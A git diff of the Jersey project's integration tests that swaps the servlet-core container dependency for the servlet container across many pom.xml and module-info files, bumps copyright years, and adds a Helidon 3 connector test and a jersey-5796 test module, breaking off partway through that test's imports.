diff --git a/tests/integration/async-jersey-filter/src/main/java/org/glassfish/jersey/tests/integration/jersey2730/TestExceptionResource.java b/tests/integration/async-jersey-filter/src/main/java/org/glassfish/jersey/tests/integration/jersey2730/TestExceptionResource.java
index 13f01a4..e586628 100644
--- a/tests/integration/async-jersey-filter/src/main/java/org/glassfish/jersey/tests/integration/jersey2730/TestExceptionResource.java
+++ b/tests/integration/async-jersey-filter/src/main/java/org/glassfish/jersey/tests/integration/jersey2730/TestExceptionResource.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2015, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2015, 2025 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,6 @@
 
 import jakarta.inject.Singleton;
 
-import org.glassfish.jersey.servlet.internal.ResponseWriter;
 import org.glassfish.jersey.tests.integration.jersey2730.exception.MappedException;
 import org.glassfish.jersey.tests.integration.jersey2730.exception.UnmappedException;
 import org.glassfish.jersey.tests.integration.jersey2730.exception.UnmappedRuntimeException;
@@ -69,7 +68,8 @@
     }
 
     /**
-     * Returns whether a thread that was processing a last request got stuck in {@link ResponseWriter}.
+     * Returns whether a thread that was processing a last request got stuck in
+     * org.glassfish.jersey.servlet.internal.ResponseWriter.
      * <p/>
      * Under normal circumstances, the last processing thread should return back to the servlet container
      * and its pool.
@@ -90,7 +90,7 @@
             case TIMED_WAITING:
             case WAITING:
                 for (StackTraceElement stackTraceElement : lastProcessingThread.getStackTrace()) {
-                    if (ResponseWriter.class.getName().equals(stackTraceElement.getClassName())) {
+                    if (stackTraceElement.getClassName().contains("ResponseWriter")) {
                         return true;
                     }
                 }
diff --git a/tests/integration/async-jersey-filter/src/test/java/module-info.java b/tests/integration/async-jersey-filter/src/test/java/module-info.java
index f6cc40c..5ee2ea8 100644
--- a/tests/integration/async-jersey-filter/src/test/java/module-info.java
+++ b/tests/integration/async-jersey-filter/src/test/java/module-info.java
@@ -23,7 +23,7 @@
 
     requires org.glassfish.jersey.core.common;
     requires org.glassfish.jersey.core.server;
-    requires org.glassfish.jersey.container.servlet.core;
+    requires org.glassfish.jersey.container.servlet;
     requires org.glassfish.jersey.tests.framework.core;
     requires org.glassfish.jersey.tests.framework.provider.external;
 
diff --git a/tests/integration/cdi-integration/cdi-client-on-server/pom.xml b/tests/integration/cdi-integration/cdi-client-on-server/pom.xml
index 81d39f3..b29c3da 100644
--- a/tests/integration/cdi-integration/cdi-client-on-server/pom.xml
+++ b/tests/integration/cdi-integration/cdi-client-on-server/pom.xml
@@ -32,7 +32,14 @@
     <description>CDI works on a client on a server resource</description>
 
     <properties>
-        <surefire.coverage.argline>--add-reads org.jboss.logging=java.logging --add-modules=ALL-MODULE-PATH</surefire.coverage.argline>
+        <surefire.coverage.argline>
+            --add-reads org.jboss.logging=java.logging
+            --add-reads org.jboss.logging=weld.core.impl
+            --add-reads org.jboss.logging=weld.environment.common
+            --add-reads org.jboss.logging=weld.se.core
+            --add-reads org.jboss.logging=org.hibernate.validator
+            --add-modules=ALL-MODULE-PATH
+        </surefire.coverage.argline>
     </properties>
 
     <dependencies>
diff --git a/tests/integration/cdi-integration/cdi-resource-with-at-context/pom.xml b/tests/integration/cdi-integration/cdi-resource-with-at-context/pom.xml
index 81493ac..8f9d487 100644
--- a/tests/integration/cdi-integration/cdi-resource-with-at-context/pom.xml
+++ b/tests/integration/cdi-integration/cdi-resource-with-at-context/pom.xml
@@ -93,7 +93,7 @@
         </dependency>
         <dependency>
             <groupId>org.glassfish.jersey.containers</groupId>
-            <artifactId>jersey-container-servlet-core</artifactId>
+            <artifactId>jersey-container-servlet</artifactId>
         </dependency>
         <dependency>
             <groupId>org.junit.platform</groupId>
diff --git a/tests/integration/cdi-integration/cdi-resource-with-at-context/src/test/java/module-info.java b/tests/integration/cdi-integration/cdi-resource-with-at-context/src/test/java/module-info.java
index d3276bf..f78a401 100644
--- a/tests/integration/cdi-integration/cdi-resource-with-at-context/src/test/java/module-info.java
+++ b/tests/integration/cdi-integration/cdi-resource-with-at-context/src/test/java/module-info.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2022, 2024 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2022, 2025 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     requires org.glassfish.jersey.core.server;
     requires org.glassfish.jersey.ext.cdi1x;
     requires org.glassfish.jersey.ext.weld2.se;
-    requires org.glassfish.jersey.container.servlet.core;
+    requires org.glassfish.jersey.container.servlet;
     requires org.glassfish.jersey.container.grizzly2.http;
 
     requires weld.core.impl;
diff --git a/tests/integration/cdi-integration/context-inject-on-server/pom.xml b/tests/integration/cdi-integration/context-inject-on-server/pom.xml
index 77dac4f..cc5f7ae 100644
--- a/tests/integration/cdi-integration/context-inject-on-server/pom.xml
+++ b/tests/integration/cdi-integration/context-inject-on-server/pom.xml
@@ -82,7 +82,7 @@
         </dependency>
         <dependency>
             <groupId>org.glassfish.jersey.containers</groupId>
-            <artifactId>jersey-container-servlet-core</artifactId>
+            <artifactId>jersey-container-servlet</artifactId>
         </dependency>
         <dependency>
             <groupId>org.junit.platform</groupId>
diff --git a/tests/integration/cdi-integration/context-inject-on-server/src/main/java/module-info.java b/tests/integration/cdi-integration/context-inject-on-server/src/main/java/module-info.java
index fd8b025..456aa72 100644
--- a/tests/integration/cdi-integration/context-inject-on-server/src/main/java/module-info.java
+++ b/tests/integration/cdi-integration/context-inject-on-server/src/main/java/module-info.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2022, 2023 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2022, 2025 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -27,7 +27,7 @@
 
     requires org.glassfish.jersey.core.common;
     requires org.glassfish.jersey.core.server;
-    requires org.glassfish.jersey.container.servlet.core;
+    requires org.glassfish.jersey.container.servlet;
 
     opens org.glassfish.jersey.tests.cdi.inject;
     exports org.glassfish.jersey.tests.cdi.inject;
diff --git a/tests/integration/cdi-integration/context-inject-on-server/src/test/java/module-info.java b/tests/integration/cdi-integration/context-inject-on-server/src/test/java/module-info.java
index ac34e67..e98c9bf 100644
--- a/tests/integration/cdi-integration/context-inject-on-server/src/test/java/module-info.java
+++ b/tests/integration/cdi-integration/context-inject-on-server/src/test/java/module-info.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2022, 2024 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2022, 2025 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -25,7 +25,7 @@
     requires org.glassfish.jersey.core.common;
     requires org.glassfish.jersey.core.server;
     requires org.glassfish.jersey.inject.hk2;
-    requires org.glassfish.jersey.container.servlet.core;
+    requires org.glassfish.jersey.container.servlet;
     requires org.glassfish.jersey.container.grizzly2.http;
     requires org.glassfish.jersey.ext.weld2.se;
     requires org.glassfish.jersey.ext.cdi.rs.inject;
diff --git a/tests/integration/cdi-integration/gf-cdi-inject/pom.xml b/tests/integration/cdi-integration/gf-cdi-inject/pom.xml
index 30ea75a..d7268da 100644
--- a/tests/integration/cdi-integration/gf-cdi-inject/pom.xml
+++ b/tests/integration/cdi-integration/gf-cdi-inject/pom.xml
@@ -31,7 +31,7 @@
     <description>Embedded GF tests @Inject</description>
 
     <properties>
-        <glassfish.home>${project.build.directory}/glassfish7</glassfish.home>
+        <glassfish.home>${project.build.directory}/glassfish8</glassfish.home>
         <modules.dir>${glassfish.home}/glassfish/modules</modules.dir>
         <glassfish.container.version>${gf.impl.version}</glassfish.container.version>
     </properties>
@@ -201,7 +201,7 @@
                                 </artifactItem>
                                 <artifactItem>
                                     <groupId>org.glassfish.jersey.containers</groupId>
-                                    <artifactId>jersey-container-servlet-core</artifactId>
+                                    <artifactId>jersey-container-servlet</artifactId>
                                     <version>${jersey.version}</version>
                                     <type>jar</type>
                                     <overWrite>true</overWrite>
diff --git a/tests/integration/helidon3-client/pom.xml b/tests/integration/helidon3-client/pom.xml
new file mode 100644
index 0000000..e7a8635
--- /dev/null
+++ b/tests/integration/helidon3-client/pom.xml
@@ -0,0 +1,88 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+
+    Copyright (c) 2025 Oracle and/or its affiliates. All rights reserved.
+
+    This program and the accompanying materials are made available under the
+    terms of the Eclipse Public License v. 2.0, which is available at
+    http://www.eclipse.org/legal/epl-2.0.
+
+    This Source Code may also be made available under the following Secondary
+    Licenses when the conditions for such availability set forth in the
+    Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+    version 2 with the GNU Classpath Exception, which is available at
+    https://www.gnu.org/software/classpath/license.html.
+
+    SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+
+-->
+
+<project xmlns="http://maven.apache.org/POM/4.0.0"
+         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
+    <parent>
+        <artifactId>project</artifactId>
+        <groupId>org.glassfish.jersey.tests.integration</groupId>
+        <version>4.0.99-SNAPSHOT</version>
+    </parent>
+    <modelVersion>4.0.0</modelVersion>
+
+    <artifactId>helidon3-client</artifactId>
+    <name>jersey-helidon-client3-integration</name>
+    <description>
+        Checks if Helidon 3 works with Helidon connector.
+    </description>
+
+    <dependencies>
+        <dependency>
+            <groupId>org.glassfish.jersey.connectors</groupId>
+            <artifactId>jersey-helidon-connector</artifactId>
+            <scope>test</scope>
+            <exclusions>
+                <exclusion>
+                    <groupId>io.helidon.jersey</groupId>
+                    <artifactId>helidon-jersey-connector</artifactId>
+                </exclusion>
+            </exclusions>
+        </dependency>
+        <dependency>
+            <groupId>io.helidon.jersey</groupId>
+            <artifactId>helidon-jersey-connector</artifactId>
+            <version>${helidon3.connector.version}</version>
+            <scope>test</scope>
+        </dependency>
+        <dependency>
+            <groupId>org.glassfish.jersey.test-framework.providers</groupId>
+            <artifactId>jersey-test-framework-provider-external</artifactId>
+            <scope>test</scope>
+        </dependency>
+        <dependency>
+            <groupId>org.glassfish.jersey.test-framework.providers</groupId>
+            <artifactId>jersey-test-framework-provider-grizzly2</artifactId>
+            <scope>test</scope>
+        </dependency>
+        <dependency>
+            <groupId>org.glassfish.jersey.test-framework</groupId>
+            <artifactId>jersey-test-framework-core</artifactId>
+            <scope>test</scope>
+        </dependency>
+        <dependency>
+            <groupId>org.junit.jupiter</groupId>
+            <artifactId>junit-jupiter</artifactId>
+            <scope>test</scope>
+        </dependency>
+        <dependency>
+            <groupId>org.hamcrest</groupId>
+            <artifactId>hamcrest</artifactId>
+            <scope>test</scope>
+        </dependency>
+    </dependencies>
+    <build>
+        <plugins>
+            <plugin>
+                <groupId>org.apache.maven.surefire</groupId>
+                <artifactId>surefire</artifactId>
+            </plugin>
+        </plugins>
+    </build>
+</project>
diff --git a/tests/integration/helidon3-client/src/test/java/org/glassfish/jersey/integration/helidon/Helidon3Test.java b/tests/integration/helidon3-client/src/test/java/org/glassfish/jersey/integration/helidon/Helidon3Test.java
new file mode 100644
index 0000000..78a2405
--- /dev/null
+++ b/tests/integration/helidon3-client/src/test/java/org/glassfish/jersey/integration/helidon/Helidon3Test.java
@@ -0,0 +1,67 @@
+/*
+ * Copyright (c) 2025 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.integration.helidon;
+
+import jakarta.ws.rs.POST;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.client.Entity;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.Context;
+import jakarta.ws.rs.core.HttpHeaders;
+import jakarta.ws.rs.core.MediaType;
+import jakarta.ws.rs.core.Response;
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.helidon.connector.HelidonConnectorProvider;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.test.JerseyTest;
+
+
+import org.junit.jupiter.api.Assertions;
+import org.junit.jupiter.api.Test;
+
+public class Helidon3Test extends JerseyTest {
+
+    @Path("/")
+    public static class Helidon3TestResource {
+        @POST
+        @Path("version")
+        public String header(@Context HttpHeaders headers, String content) {
+            return headers.getHeaderString(HttpHeaders.USER_AGENT);
+        }
+    }
+
+    @Override
+    protected Application configure() {
+        return new ResourceConfig(Helidon3TestResource.class);
+    }
+
+    @Override
+    protected void configureClient(ClientConfig config) {
+        config.connectorProvider(new HelidonConnectorProvider());
+        super.configureClient(config);
+    }
+
+    @Test
+    public void testPostWithHelidon3() {
+        System.out.println("Helidon Version " + io.helidon.common.Version.VERSION);
+        Assertions.assertEquals('3', io.helidon.common.Version.VERSION.charAt(0));
+        try (Response response = target("version").request().post(Entity.entity("ANYTHING", MediaType.TEXT_PLAIN_TYPE))) {
+            Assertions.assertEquals(200, response.getStatus());
+            Assertions.assertTrue(response.readEntity(String.class).contains("Helidon/3"));
+        }
+    }
+}
diff --git a/tests/integration/jersey-1107/pom.xml b/tests/integration/jersey-1107/pom.xml
index 22ec8a6..3de3987 100644
--- a/tests/integration/jersey-1107/pom.xml
+++ b/tests/integration/jersey-1107/pom.xml
@@ -35,7 +35,7 @@
     <dependencies>
         <dependency>
             <groupId>org.glassfish.jersey.containers</groupId>
-            <artifactId>jersey-container-servlet-core</artifactId>
+            <artifactId>jersey-container-servlet</artifactId>
         </dependency>
 
         <dependency>
diff --git a/tests/integration/jersey-1223/pom.xml b/tests/integration/jersey-1223/pom.xml
index 03a2193..6b8131b 100644
--- a/tests/integration/jersey-1223/pom.xml
+++ b/tests/integration/jersey-1223/pom.xml
@@ -37,7 +37,7 @@
     <dependencies>
         <dependency>
             <groupId>org.glassfish.jersey.containers</groupId>
-            <artifactId>jersey-container-servlet-core</artifactId>
+            <artifactId>jersey-container-servlet</artifactId>
         </dependency>
 
         <dependency>
diff --git a/tests/integration/jersey-1604/pom.xml b/tests/integration/jersey-1604/pom.xml
index 91cd5b1..9a551e5 100644
--- a/tests/integration/jersey-1604/pom.xml
+++ b/tests/integration/jersey-1604/pom.xml
@@ -34,7 +34,7 @@
     <dependencies>
         <dependency>
             <groupId>org.glassfish.jersey.containers</groupId>
-            <artifactId>jersey-container-servlet-core</artifactId>
+            <artifactId>jersey-container-servlet</artifactId>
         </dependency>
 
         <dependency>
diff --git a/tests/integration/jersey-1667/pom.xml b/tests/integration/jersey-1667/pom.xml
index 3d5d434..b8220dc 100644
--- a/tests/integration/jersey-1667/pom.xml
+++ b/tests/integration/jersey-1667/pom.xml
@@ -35,7 +35,7 @@
     <dependencies>
         <dependency>
             <groupId>org.glassfish.jersey.containers</groupId>
-            <artifactId>jersey-container-servlet-core</artifactId>
+            <artifactId>jersey-container-servlet</artifactId>
         </dependency>
         <dependency>
             <groupId>org.glassfish.jersey.media</groupId>
diff --git a/tests/integration/jersey-1829/pom.xml b/tests/integration/jersey-1829/pom.xml
index e4da430..ec1d5da 100644
--- a/tests/integration/jersey-1829/pom.xml
+++ b/tests/integration/jersey-1829/pom.xml
@@ -37,7 +37,7 @@
     <dependencies>
         <dependency>
             <groupId>org.glassfish.jersey.containers</groupId>
-            <artifactId>jersey-container-servlet-core</artifactId>
+            <artifactId>jersey-container-servlet</artifactId>
         </dependency>
 
         <dependency>
diff --git a/tests/integration/jersey-1960/pom.xml b/tests/integration/jersey-1960/pom.xml
index eefd89f..4c359fd 100644
--- a/tests/integration/jersey-1960/pom.xml
+++ b/tests/integration/jersey-1960/pom.xml
@@ -41,7 +41,7 @@
 
         <dependency>
             <groupId>org.glassfish.jersey.containers</groupId>
-            <artifactId>jersey-container-servlet-core</artifactId>
+            <artifactId>jersey-container-servlet</artifactId>
         </dependency>
 
         <dependency>
diff --git a/tests/integration/jersey-1964/pom.xml b/tests/integration/jersey-1964/pom.xml
index 78ea375..922e1d4 100644
--- a/tests/integration/jersey-1964/pom.xml
+++ b/tests/integration/jersey-1964/pom.xml
@@ -35,7 +35,7 @@
     <dependencies>
         <dependency>
             <groupId>org.glassfish.jersey.containers</groupId>
-            <artifactId>jersey-container-servlet-core</artifactId>
+            <artifactId>jersey-container-servlet</artifactId>
         </dependency>
         <dependency>
             <groupId>org.glassfish.jersey.media</groupId>
diff --git a/tests/integration/jersey-2031/pom.xml b/tests/integration/jersey-2031/pom.xml
index a140118..26b053a 100644
--- a/tests/integration/jersey-2031/pom.xml
+++ b/tests/integration/jersey-2031/pom.xml
@@ -37,7 +37,7 @@
     <dependencies>
         <dependency>
             <groupId>org.glassfish.jersey.containers</groupId>
-            <artifactId>jersey-container-servlet-core</artifactId>
+            <artifactId>jersey-container-servlet</artifactId>
         </dependency>
         <dependency>
             <groupId>org.glassfish.jersey.ext</groupId>
diff --git a/tests/integration/jersey-2136/pom.xml b/tests/integration/jersey-2136/pom.xml
index e6dcc8c..e77a843 100644
--- a/tests/integration/jersey-2136/pom.xml
+++ b/tests/integration/jersey-2136/pom.xml
@@ -35,7 +35,7 @@
     <dependencies>
         <dependency>
             <groupId>org.glassfish.jersey.containers</groupId>
-            <artifactId>jersey-container-servlet-core</artifactId>
+            <artifactId>jersey-container-servlet</artifactId>
         </dependency>
         <dependency>
             <groupId>com.google.appengine</groupId>
diff --git a/tests/integration/jersey-2160/pom.xml b/tests/integration/jersey-2160/pom.xml
index e28ed00..c5818a4 100644
--- a/tests/integration/jersey-2160/pom.xml
+++ b/tests/integration/jersey-2160/pom.xml
@@ -41,7 +41,7 @@
 
         <dependency>
             <groupId>org.glassfish.jersey.containers</groupId>
-            <artifactId>jersey-container-servlet-core</artifactId>
+            <artifactId>jersey-container-servlet</artifactId>
         </dependency>
 
         <dependency>
diff --git a/tests/integration/jersey-2164/pom.xml b/tests/integration/jersey-2164/pom.xml
index 26bf1ca..39e0fda 100644
--- a/tests/integration/jersey-2164/pom.xml
+++ b/tests/integration/jersey-2164/pom.xml
@@ -35,7 +35,7 @@
     <dependencies>
         <dependency>
             <groupId>org.glassfish.jersey.containers</groupId>
-            <artifactId>jersey-container-servlet-core</artifactId>
+            <artifactId>jersey-container-servlet</artifactId>
         </dependency>
 
         <dependency>
diff --git a/tests/integration/jersey-2167/pom.xml b/tests/integration/jersey-2167/pom.xml
index 7970ade..8ede8a1 100644
--- a/tests/integration/jersey-2167/pom.xml
+++ b/tests/integration/jersey-2167/pom.xml
@@ -35,7 +35,7 @@
     <dependencies>
         <dependency>
             <groupId>org.glassfish.jersey.containers</groupId>
-            <artifactId>jersey-container-servlet-core</artifactId>
+            <artifactId>jersey-container-servlet</artifactId>
         </dependency>
 
         <dependency>
diff --git a/tests/integration/jersey-2255/pom.xml b/tests/integration/jersey-2255/pom.xml
index 0e90826..96e9caf 100644
--- a/tests/integration/jersey-2255/pom.xml
+++ b/tests/integration/jersey-2255/pom.xml
@@ -35,7 +35,7 @@
     <dependencies>
         <dependency>
             <groupId>org.glassfish.jersey.containers</groupId>
-            <artifactId>jersey-container-servlet-core</artifactId>
+            <artifactId>jersey-container-servlet</artifactId>
         </dependency>
         <dependency>
         	<groupId>org.glassfish.jersey.ext</groupId>
diff --git a/tests/integration/jersey-2322/pom.xml b/tests/integration/jersey-2322/pom.xml
index 2160e41..140c584 100644
--- a/tests/integration/jersey-2322/pom.xml
+++ b/tests/integration/jersey-2322/pom.xml
@@ -35,7 +35,7 @@
     <dependencies>
         <dependency>
             <groupId>org.glassfish.jersey.containers</groupId>
-            <artifactId>jersey-container-servlet-core</artifactId>
+            <artifactId>jersey-container-servlet</artifactId>
         </dependency>
         <dependency>
             <groupId>org.glassfish.jersey.media</groupId>
diff --git a/tests/integration/jersey-2335/pom.xml b/tests/integration/jersey-2335/pom.xml
index 2d4deb5..4d39abd 100644
--- a/tests/integration/jersey-2335/pom.xml
+++ b/tests/integration/jersey-2335/pom.xml
@@ -35,7 +35,7 @@
     <dependencies>
         <dependency>
             <groupId>org.glassfish.jersey.containers</groupId>
-            <artifactId>jersey-container-servlet-core</artifactId>
+            <artifactId>jersey-container-servlet</artifactId>
         </dependency>
         <dependency>
             <groupId>org.glassfish.jersey.ext</groupId>
diff --git a/tests/integration/jersey-2551/pom.xml b/tests/integration/jersey-2551/pom.xml
index 667776d..25d7225 100644
--- a/tests/integration/jersey-2551/pom.xml
+++ b/tests/integration/jersey-2551/pom.xml
@@ -35,7 +35,7 @@
     <dependencies>
         <dependency>
             <groupId>org.glassfish.jersey.containers</groupId>
-            <artifactId>jersey-container-servlet-core</artifactId>
+            <artifactId>jersey-container-servlet</artifactId>
         </dependency>
 
         <dependency>
diff --git a/tests/integration/jersey-2612/pom.xml b/tests/integration/jersey-2612/pom.xml
index 865f99b..3c2fdaa 100644
--- a/tests/integration/jersey-2612/pom.xml
+++ b/tests/integration/jersey-2612/pom.xml
@@ -35,7 +35,7 @@
     <dependencies>
         <dependency>
             <groupId>org.glassfish.jersey.containers</groupId>
-            <artifactId>jersey-container-servlet-core</artifactId>
+            <artifactId>jersey-container-servlet</artifactId>
         </dependency>
 
         <dependency>
diff --git a/tests/integration/jersey-2637/pom.xml b/tests/integration/jersey-2637/pom.xml
index 5e64061..2b1856f 100644
--- a/tests/integration/jersey-2637/pom.xml
+++ b/tests/integration/jersey-2637/pom.xml
@@ -43,7 +43,7 @@
 
         <dependency>
             <groupId>org.glassfish.jersey.containers</groupId>
-            <artifactId>jersey-container-servlet-core</artifactId>
+            <artifactId>jersey-container-servlet</artifactId>
         </dependency>
 
         <dependency>
diff --git a/tests/integration/jersey-2654/pom.xml b/tests/integration/jersey-2654/pom.xml
index 354b62a..b4a7760 100644
--- a/tests/integration/jersey-2654/pom.xml
+++ b/tests/integration/jersey-2654/pom.xml
@@ -34,7 +34,7 @@
     <dependencies>
         <dependency>
             <groupId>org.glassfish.jersey.containers</groupId>
-            <artifactId>jersey-container-servlet-core</artifactId>
+            <artifactId>jersey-container-servlet</artifactId>
         </dependency>
 
         <dependency>
diff --git a/tests/integration/jersey-2673/pom.xml b/tests/integration/jersey-2673/pom.xml
index 0f32e00..b181646 100644
--- a/tests/integration/jersey-2673/pom.xml
+++ b/tests/integration/jersey-2673/pom.xml
@@ -34,7 +34,7 @@
     <dependencies>
         <dependency>
             <groupId>org.glassfish.jersey.containers</groupId>
-            <artifactId>jersey-container-servlet-core</artifactId>
+            <artifactId>jersey-container-servlet</artifactId>
         </dependency>
         <dependency>
             <groupId>org.glassfish.jersey.ext</groupId>
diff --git a/tests/integration/jersey-2689/pom.xml b/tests/integration/jersey-2689/pom.xml
index 29cc80e..f518c0f 100644
--- a/tests/integration/jersey-2689/pom.xml
+++ b/tests/integration/jersey-2689/pom.xml
@@ -35,7 +35,7 @@
     <dependencies>
         <dependency>
             <groupId>org.glassfish.jersey.containers</groupId>
-            <artifactId>jersey-container-servlet-core</artifactId>
+            <artifactId>jersey-container-servlet</artifactId>
         </dependency>
         <dependency>
             <groupId>org.glassfish.jersey.ext</groupId>
diff --git a/tests/integration/jersey-2704/pom.xml b/tests/integration/jersey-2704/pom.xml
index f6e2e92..396205b 100644
--- a/tests/integration/jersey-2704/pom.xml
+++ b/tests/integration/jersey-2704/pom.xml
@@ -39,7 +39,7 @@
     <dependencies>
         <dependency>
             <groupId>org.glassfish.jersey.containers</groupId>
-            <artifactId>jersey-container-servlet-core</artifactId>
+            <artifactId>jersey-container-servlet</artifactId>
         </dependency>
         <dependency>
             <groupId>org.glassfish.jersey.test-framework.providers</groupId>
diff --git a/tests/integration/jersey-2704/src/main/java/module-info.java b/tests/integration/jersey-2704/src/main/java/module-info.java
index b99b1f7..fea5b09 100644
--- a/tests/integration/jersey-2704/src/main/java/module-info.java
+++ b/tests/integration/jersey-2704/src/main/java/module-info.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2022, 2025 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -26,5 +26,5 @@
     requires org.glassfish.jersey.core.common;
     requires org.glassfish.jersey.core.server;
 
-    requires org.glassfish.jersey.container.servlet.core;
+    requires org.glassfish.jersey.container.servlet;
 }
\ No newline at end of file
diff --git a/tests/integration/jersey-4949/pom.xml b/tests/integration/jersey-4949/pom.xml
index 165c3f4..3f9cf51 100644
--- a/tests/integration/jersey-4949/pom.xml
+++ b/tests/integration/jersey-4949/pom.xml
@@ -35,7 +35,7 @@
     <dependencies>
         <dependency>
             <groupId>org.glassfish.jersey.containers</groupId>
-            <artifactId>jersey-container-servlet-core</artifactId>
+            <artifactId>jersey-container-servlet</artifactId>
         </dependency>
         <dependency>
             <groupId>org.glassfish.jersey.test-framework.providers</groupId>
diff --git a/tests/integration/jersey-5087/pom.xml b/tests/integration/jersey-5087/pom.xml
index 0d24ccf..ad82ef5 100644
--- a/tests/integration/jersey-5087/pom.xml
+++ b/tests/integration/jersey-5087/pom.xml
@@ -117,10 +117,6 @@
             <artifactId>jersey-container-servlet</artifactId>
         </dependency>
         <dependency>
-            <groupId>org.glassfish.jersey.containers</groupId>
-            <artifactId>jersey-container-servlet-core</artifactId>
-        </dependency>
-        <dependency>
             <groupId>org.glassfish.jersey.containers.glassfish</groupId>
             <artifactId>jersey-gf-ejb</artifactId>
         </dependency>
diff --git a/tests/integration/jersey-5796/pom.xml b/tests/integration/jersey-5796/pom.xml
new file mode 100644
index 0000000..437fb7f
--- /dev/null
+++ b/tests/integration/jersey-5796/pom.xml
@@ -0,0 +1,52 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+
+    Copyright (c) 2025 Oracle and/or its affiliates. All rights reserved.
+
+    This program and the accompanying materials are made available under the
+    terms of the Eclipse Public License v. 2.0, which is available at
+    http://www.eclipse.org/legal/epl-2.0.
+
+    This Source Code may also be made available under the following Secondary
+    Licenses when the conditions for such availability set forth in the
+    Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+    version 2 with the GNU Classpath Exception, which is available at
+    https://www.gnu.org/software/classpath/license.html.
+
+    SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+
+-->
+
+<project xmlns="http://maven.apache.org/POM/4.0.0"
+         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
+    <parent>
+        <artifactId>project</artifactId>
+        <groupId>org.glassfish.jersey.tests.integration</groupId>
+        <version>4.0.99-SNAPSHOT</version>
+    </parent>
+    <modelVersion>4.0.0</modelVersion>
+
+    <artifactId>jersey-5796</artifactId>
+    <name>jersey-tests-integration-jersey-5796</name>
+
+    <dependencies>
+        <dependency>
+            <groupId>org.glassfish.jersey.test-framework.providers</groupId>
+            <artifactId>jersey-test-framework-provider-bundle</artifactId>
+            <type>pom</type>
+            <scope>test</scope>
+        </dependency>
+    </dependencies>
+    <build>
+        <plugins>
+            <plugin>
+                <groupId>org.apache.maven.plugins</groupId>
+                <artifactId>maven-surefire-plugin</artifactId>
+                <configuration>
+                    <argLine>-XX:+UseG1GC</argLine>
+                </configuration>
+            </plugin>
+        </plugins>
+    </build>
+</project>
\ No newline at end of file
diff --git a/tests/integration/jersey-5796/src/test/java/org/glassfish/jersey/tests/integration/jersey5796/Jersey5796Test.java b/tests/integration/jersey-5796/src/test/java/org/glassfish/jersey/tests/integration/jersey5796/Jersey5796Test.java
new file mode 100644
index 0000000..80ade6a
--- /dev/null
+++ b/tests/integration/jersey-5796/src/test/java/org/glassfish/jersey/tests/integration/jersey5796/Jersey5796Test.java
@@ -0,0 +1,159 @@
+/*
+ * Copyright (c) 2025 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.tests.integration.jersey5796;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+
+import java.util.concurrent.atomic.AtomicInteger;
+
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.client.Client;
+import jakarta.ws.rs.client.ClientBuilder;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.GenericType;
+import jakarta.ws.rs.core.Response;
+
+import org.glassfish.jersey.client.ChunkedInput;
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.client.ClientLifecycleListener;
+import org.glassfish.jersey.server.ChunkedOutput;
